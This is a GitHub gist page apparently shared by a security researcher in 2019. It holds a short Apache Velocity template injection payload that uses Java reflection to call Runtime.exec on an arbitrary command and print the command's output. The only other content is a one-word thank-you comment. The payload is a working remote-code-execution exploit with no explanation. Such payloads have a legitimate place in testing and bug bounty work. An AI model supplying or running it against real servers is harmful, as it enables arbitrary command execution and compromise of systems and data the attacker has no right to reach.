Skip to content

Instantly share code, notes, and snippets.

@nahamsec
Created April 15, 2019 20:34
Show Gist options
  • Save nahamsec/673daf2dbe5060e06d43390ca7fc0ef7 to your computer and use it in GitHub Desktop.
Save nahamsec/673daf2dbe5060e06d43390ca7fc0ef7 to your computer and use it in GitHub Desktop.
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
@djsubstance
Copy link

danke

dj substance
https://mixcloud.com/jcat42o
https://tranceattic.com
ONE NATION::UNDERGROUND

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment